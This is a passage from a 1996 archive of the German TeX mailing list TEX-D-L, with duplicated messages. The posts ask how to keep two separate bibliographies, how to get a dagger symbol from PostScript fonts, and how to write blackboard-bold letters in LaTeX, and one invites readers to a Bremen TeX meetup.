Suchen verbringen, wenn jemand von Euch vielleicht gleich einen passenden Hinweis hat. Herzlichen Dank im voraus. With best compliments Peter Seitz (Faculty for civil engineering) -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- Verkehrswesenzeichensaal (VZS) The better drawing site :-) University of Technology Graz e-mail: Technikerstrasse 4/II seitz@bzs.tu-graz.ac.at (Internet) A-8010 Graz, Austria 2:316/5.18 (FidoNet) http://gewi.kfunigraz.ac.at/institute/dolmetsch/ -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- From root Wed Sep 4 15:52:57 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7BIT Message-Id: Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Peter Seitz To: Multiple recipients of list TEX-D-L Date: Tue, 3 Sep 1996 15:53:33 +0100 Subject: zwei BibTeX Stile in einem Dokument Hallo BibTeXpertinnen und BibTeXperten, ich moechte in einem Dokument am Ende zwei Literaturverzeichnisse machen: - Eines fuer die "normale Literatur" - eines fuer Normen, Vorschriften und Richtlinien Ich wuerde dann gerne auch mit dem cite-Befehl unterschiedlich zitieren. Gibt es fuer so einen Fall ein geeignetes Paket, bzw hat jemand damit Erfahrung? Der LaTeX Companion verweist auf das chapterbib-Paket oder das bibunits-system, doch das ist noch nicht ganz das, was ich mir vorstelle. Kann man gegebenenfalls die oben genannten Pakete mit dem chicago- Paket oder dem natbib-Paket verwenden, dass das gewuenschte Ergebnis herauskommt? Eigentlich muesste das Paket ja nur eine eigene thebibliography-Datei schreiben... Ich bin fuer jede Hilfe dankbar, da die Anzahl der Bib-TeX Stile sehr umfangreich ist und ich als BibTeX-Neuling nicht unnoetig viel Zeit mit Suchen verbringen, wenn jemand von Euch vielleicht gleich einen passenden Hinweis hat. Herzlichen Dank im voraus. With best compliments Peter Seitz (Faculty for civil engineering) -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- Verkehrswesenzeichensaal (VZS) The better drawing site :-) University of Technology Graz e-mail: Technikerstrasse 4/II seitz@bzs.tu-graz.ac.at (Internet) A-8010 Graz, Austria 2:316/5.18 (FidoNet) http://gewi.kfunigraz.ac.at/institute/dolmetsch/ -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- From root Wed Sep 4 13:50:22 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Henning Matthes Date: Tue, 3 Sep 1996 17:36:29 +0200 Subject: \dag aus PS-Fonts hi, es sieht h"aufig schon ziemlich merkw"urdig aus, wenn man \dag 01.08.96 schreibt (besonders bei sans-Schriften. Gibt es eine einfache und kompatible M"oglichkeit den dagger aus den jeweiligen PS-Schriften zu verwenden? Gru"s Henning ================================================= Henning Matthes FON 04383/9898 ISDN M"uhlenbergring 20 FAX 04383/9897 24329 Grebin eMail:matthes@toppoint.de From root Wed Sep 4 13:50:22 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Message-Id: Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Henning Matthes To: Multiple recipients of list TEX-D-L Date: Tue, 3 Sep 1996 17:36:29 +0200 Subject: \dag aus PS-Fonts hi, es sieht h"aufig schon ziemlich merkw"urdig aus, wenn man \dag 01.08.96 schreibt (besonders bei sans-Schriften. Gibt es eine einfache und kompatible M"oglichkeit den dagger aus den jeweiligen PS-Schriften zu verwenden? Gru"s Henning ================================================= Henning Matthes FON 04383/9898 ISDN M"uhlenbergring 20 FAX 04383/9897 24329 Grebin eMail:matthes@toppoint.de From root Tue Sep 3 22:05:00 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Martin Schroeder CEST Date: Tue, 3 Sep 1996 20:10:58 +0200 Subject: TeX-Stammtisch in Bremen im September 1996 am 1996-09-05 um 18:00 Liebe Freunde, hiermit lade ich euch herzlich zum n"achsten Bremer TeX-Stammtisch am 5. September 1996 um 18:00 in der Universit"at Bremen, MZH, 4. Ebene, gegen"uber den Fahrst"uhlen ein. Kontakt: Martin Schr"oder, MS@Dream.HB.North.DE, Tel. 0421/2239425 CU Martin -- Martin Schr"oder, MS@Dream.HB.North.DE Follow the Way of the Networker, drinking at the fountain of Knowledge by night, slaving over the console during thy waking hours and sleeping only by day, for 'tis during the cold light of the early morning that the greatest wizardry is accomplished. (Dave Hill) From root Tue Sep 3 22:05:00 1996 Message-Id: Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Martin Schroeder CEST To: Multiple recipients of list TEX-D-L Date: Tue, 3 Sep 1996 20:10:58 +0200 Subject: TeX-Stammtisch in Bremen im September 1996 am 1996-09-05 um 18:00 Liebe Freunde, hiermit lade ich euch herzlich zum n"achsten Bremer TeX-Stammtisch am 5. September 1996 um 18:00 in der Universit"at Bremen, MZH, 4. Ebene, gegen"uber den Fahrst"uhlen ein. Kontakt: Martin Schr"oder, MS@Dream.HB.North.DE, Tel. 0421/2239425 CU Martin -- Martin Schr"oder, MS@Dream.HB.North.DE Follow the Way of the Networker, drinking at the fountain of Knowledge by night, slaving over the console during thy waking hours and sleeping only by day, for 'tis during the cold light of the early morning that the greatest wizardry is accomplished. (Dave Hill) From root Wed Sep 4 08:04:40 1996 Message-Id: <199609040604.IAA25897@bernoulli.mathematik.uni-freiburg.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Hattenbach To: Multiple recipients of list TEX-D-L Date: Wed, 4 Sep 1996 08:04:15 +0200 Subject: Re: Mengen-Buchstaben Hallo Leo, ganz ohne fremden Style geht es auch mit folgenden Definitionen: vor \begin{document} \def\bbbb{{\rm I\!B}} \def\bbbe{{\rm I\!E}} \def\bbbf{{\rm I\!F}} \def\bbbh{{\rm I\!H}} \def\bbbk{{\rm I\!K}} \def\bbbl{{\rm I\!L}} \def\bbbm{{\rm I\!M}} \def\bbbn{{\rm I\!N}} %natuerliche Zahlen \def\bbbp{{\rm I\!P}} \def\bbbr{{\rm I\!R}} %reelle Zahlen \def\bbbu{{\rm U\!I}} Der Aufruf im Text erfolgt dann mit $\bbbn$ oder entsprechendes. Gruss Monika Monika Hattenbach, Uni Freiburg, e-mail: htb@bernoulli.mathematik.uni-freiburg.de From root Wed Sep 4 08:04:40 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Hattenbach Date: Wed, 4 Sep 1996 08:04:15 +0200 Subject: Re: Mengen-Buchstaben Hallo Leo, ganz ohne fremden Style geht es auch mit folgenden Definitionen: vor \begin{document} \def\bbbb{{\rm I\!B}} \def\bbbe{{\rm I\!E}} \def\bbbf{{\rm I\!F}} \def\bbbh{{\rm I\!H}} \def\bbbk{{\rm I\!K}} \def\bbbl{{\rm I\!L}} \def\bbbm{{\rm I\!M}} \def\bbbn{{\rm I\!N}} %natuerliche Zahlen \def\bbbp{{\rm I\!P}} \def\bbbr{{\rm I\!R}} %reelle Zahlen \def\bbbu{{\rm U\!I}} Der Aufruf im Text erfolgt dann mit $\bbbn$ oder entsprechendes. Gruss Monika Monika Hattenbach, Uni Freiburg, e-mail: htb@bernoulli.mathematik.uni-freiburg.de From root Wed Sep 4 14:47:45 1996 Message-Id: <199609041245.OAA08453@isle.informatik.uni-stuttgart.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle To: Multiple recipients of list TEX-D-L In-Reply-To: (message from Henning Matthes on Tue, 3 Sep 1996 17:36:29 +0200) Date: Wed, 4 Sep 1996 14:45:39 +0200 Subject: Re: \dag aus PS-Fonts Henning Matthes schrieb: : : es sieht h"aufig schon ziemlich merkw"urdig aus, wenn man : \dag 01.08.96 schreibt (besonders bei sans-Schriften. : : Gibt es eine einfache und kompatible M"oglichkeit den : dagger aus den jeweiligen PS-Schriften zu verwenden? Der `dagger' ist weder in den OT1- noch den T1-kodierten Schriften enthalten, deshalb ist er auch nicht in den (La)TeX-Anpassungen der PostScript-Schriften enthalten, die OT1- bzw. T1-kodiert sind. Die tfm/vf-Dateien dieser PS-Schriften haben uebrigens Namen wie `ptmr7t' fuer die OT1-kodierten und `ptmr8t' fuer die T1-kodierte Times-Roman. (Wer noch die mit dvips mitgelieferten Dateien mit Namen wie `rptmr' oder die aeltere Version mit Namen wie `ptmrq' oder `ptmr0' sollte auf die neueste Version "updaten" und `Filenames for TeX fonts' in der aktuellsten Version 2.1 vom Juli 1996 in CTAN:info/fontname/ lesen.) Die sauberste Loesung: textcomp.sty besorgen (CTAN:fonts/psfonts/ts1/) und mit \usepackage{textcomp} einladen, dann wird der \dag bzw. \textdagger (und \textdaggerdbl) aus den TS1-kodierten Text-Companion-Fonts genommen. Um die PostScript-Schriftanpassungen (tfm/vf/fd-Dateien) zu erzeugen, benoetigt man `fontinst' und die restlichen Dateien in CTAN:fonts/psfonts/ts1/; die so erzeugten tfm/vf-Dateien haben Namen wie `ptmr8c' bzw. `ptmr9c' fuer die Times-Roman-Text-Companion- Schriften. Wenn man alles hat und mit ein bisschen Zeit, kann man sich die tfm/vf/fd-Dateien dann mit `fontinst' erzeugen lassen. Die Quick&Dirty-Loesung: Im Psnfss-LaTeX2e-Package werden auch fd-Dateien fuer das eigentlich nicht zu verwendende 8r-Fontencoding mitgeliefert (z.B. "8rptm.fd"). Daher kann man auch, falls man `fontinst' noch nicht hat, sich kurzerhand einen kleinen Hack basteln, mit dem man diesen Fontencoding nutzbar macht. Wenn man dann noch mit \DeclareTextSymbol nur die LaTeX2e-"Standardnamen" fuer die zu verwendenden Zeichen aus dieser Schrift nachdefiniert, kann man spaeter ohne Probleme diesen Hack entfernen und die obige saubere Loesung verwenden. Hier ist eine Testdatei, die zeigen sollte, wie man zu dem Dagger und Dagger-Dbl aus den Times-Schriften kommt. Dabei kann man den mit "BEGIN" bis "END" markierten Bereich am besten in ein .sty-File legen, das man, wenn man de PS-Text-Companion-Schriften hat und `textcomp.sty' verwenden kann, __nicht__ mehr benoetigt. Und nicht vergessen: ES IST EIN HACK! \documentclass{article} %%%%%%%%%%%%%%%%%%%%%%%%%%%%%% BEGIN % Mit `packages/psnfss/' werden auch Fonts, die 8r-encoded sind, % mitgeliefert. Nur mit diesen erhaelt man z.B. Symbole, wie den % `dagger'. Eigentlich sind sie nicht zur normalen Verwendung % gedacht, deswegen fehlt z.B. auch eine Datei `8renc.def' fuer % das `fontenc' Package. % Hier ist das Notwendigste fuer den Dagger/Dagger-dbl: \DeclareFontEncoding{8r}{}{} \DeclareTextSymbol{\textdagger}{8r}{'206} \DeclareTextSymbolDefault{\textdagger}{8r} \DeclareTextSymbol{\textdaggerdbl}{8r}{'207} \DeclareTextSymbolDefault{\textdaggerdbl}{8r} % Ausserdem braucht man wenigstens noch den Rumpf eines % Font-Definition-File namens`8rcmr.fd' fuer den Fallback. \DeclareFontFamily{8r}{cmr}{} \DeclareFontShape{8r}{cmr}{m}{n}{<->ssub*ptm/m/n}{} %%%%%%%%%%%%%%%%%%%%%%%%%%%%%% END \begin{document} CM/OT1: \textdagger{} und \textdaggerdbl{}. \fontfamily{ptm}\selectfont Times/8r: \textdagger{} und \textdaggerdbl{}.\par \textit{Times Italic/8r: \textdagger{} und \textdaggerdbl{}.}\par \textsl{Times Oblique/8r: \textdagger{} und \textdaggerdbl{}.}\par \bfseries \textit{Times Bold Italic/8r: \textdagger{} und \textdaggerdbl{}.}\par \textsl{Times Bold Oblique/8r: \textdagger{} und \textdaggerdbl{}.} \end{document} Gruesse, -bernd Zum Vormerken: 10.10.-11.10.96: 15. Mitgliederversammlung von DANTE e.V. in Hamburg 26.02.-28.02.97: DANTE '97 und 16. Mitgliederversammlung in Muenchen ==> mehr Infos jeweils ueber http://www.dante.de/dante/Tagungen.html ____________________________________________________________________ Bernd Raichle "Le langage est source DANTE e.V., Koordinator `german.sty' de malentendus" email: german@dante.de (A. de Saint-Exupery) Infos ueber DANTE e.V.: ftp: ftp.dante.de oder email: ftpmail@dante.de in /tex-archive/usergrps/dante/ www: http://www.dante.de/ From root Wed Sep 4 14:47:45 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Wed, 4 Sep 1996 14:45:39 +0200 Subject: Re: \dag aus PS-Fonts Henning Matthes schrieb: : : es sieht h"aufig schon ziemlich merkw"urdig aus, wenn man : \dag 01.08.96 schreibt (besonders bei sans-Schriften. : : Gibt es eine einfache und kompatible M"oglichkeit den : dagger aus den jeweiligen PS-Schriften zu verwenden? Der `dagger' ist weder in den OT1- noch den T1-kodierten Schriften enthalten, deshalb ist er auch nicht in den (La)TeX-Anpassungen der PostScript-Schriften enthalten, die OT1- bzw. T1-kodiert sind. Die tfm/vf-Dateien dieser PS-Schriften haben uebrigens Namen wie `ptmr7t' fuer die OT1-kodierten und `ptmr8t' fuer die T1-kodierte Times-Roman. (Wer noch die mit dvips mitgelieferten Dateien mit Namen wie `rptmr' oder die aeltere Version mit Namen wie `ptmrq' oder `ptmr0' sollte auf die neueste Version "updaten" und `Filenames for TeX fonts' in der aktuellsten Version 2.1 vom Juli 1996 in CTAN:info/fontname/ lesen.) Die sauberste Loesung: textcomp.sty besorgen (CTAN:fonts/psfonts/ts1/) und mit \usepackage{textcomp} einladen, dann wird der \dag bzw. \textdagger (und \textdaggerdbl) aus den TS1-kodierten Text-Companion-Fonts genommen. Um die PostScript-Schriftanpassungen (tfm/vf/fd-Dateien) zu erzeugen, benoetigt man `fontinst' und die restlichen Dateien in CTAN:fonts/psfonts/ts1/; die so erzeugten tfm/vf-Dateien haben Namen wie `ptmr8c' bzw. `ptmr9c' fuer die Times-Roman-Text-Companion- Schriften. Wenn man alles hat und mit ein bisschen Zeit, kann man sich die tfm/vf/fd-Dateien dann mit `fontinst' erzeugen lassen. Die Quick&Dirty-Loesung: Im Psnfss-LaTeX2e-Package werden auch fd-Dateien fuer das eigentlich nicht zu verwendende 8r-Fontencoding mitgeliefert (z.B. "8rptm.fd"). Daher kann man auch, falls man `fontinst' noch nicht hat, sich kurzerhand einen kleinen Hack basteln, mit dem man diesen Fontencoding nutzbar macht. Wenn man dann noch mit \DeclareTextSymbol nur die LaTeX2e-"Standardnamen" fuer die zu verwendenden Zeichen aus dieser Schrift nachdefiniert, kann man spaeter ohne Probleme diesen Hack entfernen und die obige saubere Loesung verwenden. Hier ist eine Testdatei, die zeigen sollte, wie man zu dem Dagger und Dagger-Dbl aus den Times-Schriften kommt. Dabei kann man den mit "BEGIN" bis "END" markierten Bereich am besten in ein .sty-File legen, das man, wenn man de PS-Text-Companion-Schriften hat und `textcomp.sty' verwenden kann, __nicht__ mehr benoetigt. Und nicht vergessen: ES IST EIN HACK! \documentclass{article} %%%%%%%%%%%%%%%%%%%%%%%%%%%%%% BEGIN % Mit `packages/psnfss/' werden auch Fonts, die 8r-encoded sind, % mitg